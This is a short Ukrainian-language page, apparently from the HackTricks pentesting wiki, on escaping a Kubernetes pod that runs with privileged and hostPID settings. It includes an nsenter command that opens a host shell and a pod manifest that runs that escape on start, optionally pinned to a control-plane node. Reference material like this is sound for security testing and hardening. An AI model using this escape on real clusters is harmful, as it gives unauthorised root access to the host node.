Pod Escape Privileges

Support HackTricks

Привілейовані та hostPID

З цими привілеями ви отримаєте доступ до процесів хоста та достатньо привілеїв, щоб увійти в простір імен одного з процесів хоста. Зверніть увагу, що вам потенційно не потрібно мати привілеї, а лише деякі можливості та інші потенційні обходи захисту (як apparmor і/або seccomp).

Просто виконання чогось на кшталт наступного дозволить вам втекти з пода:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Приклад конфігурації:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
Підтримайте HackTricks

Last updated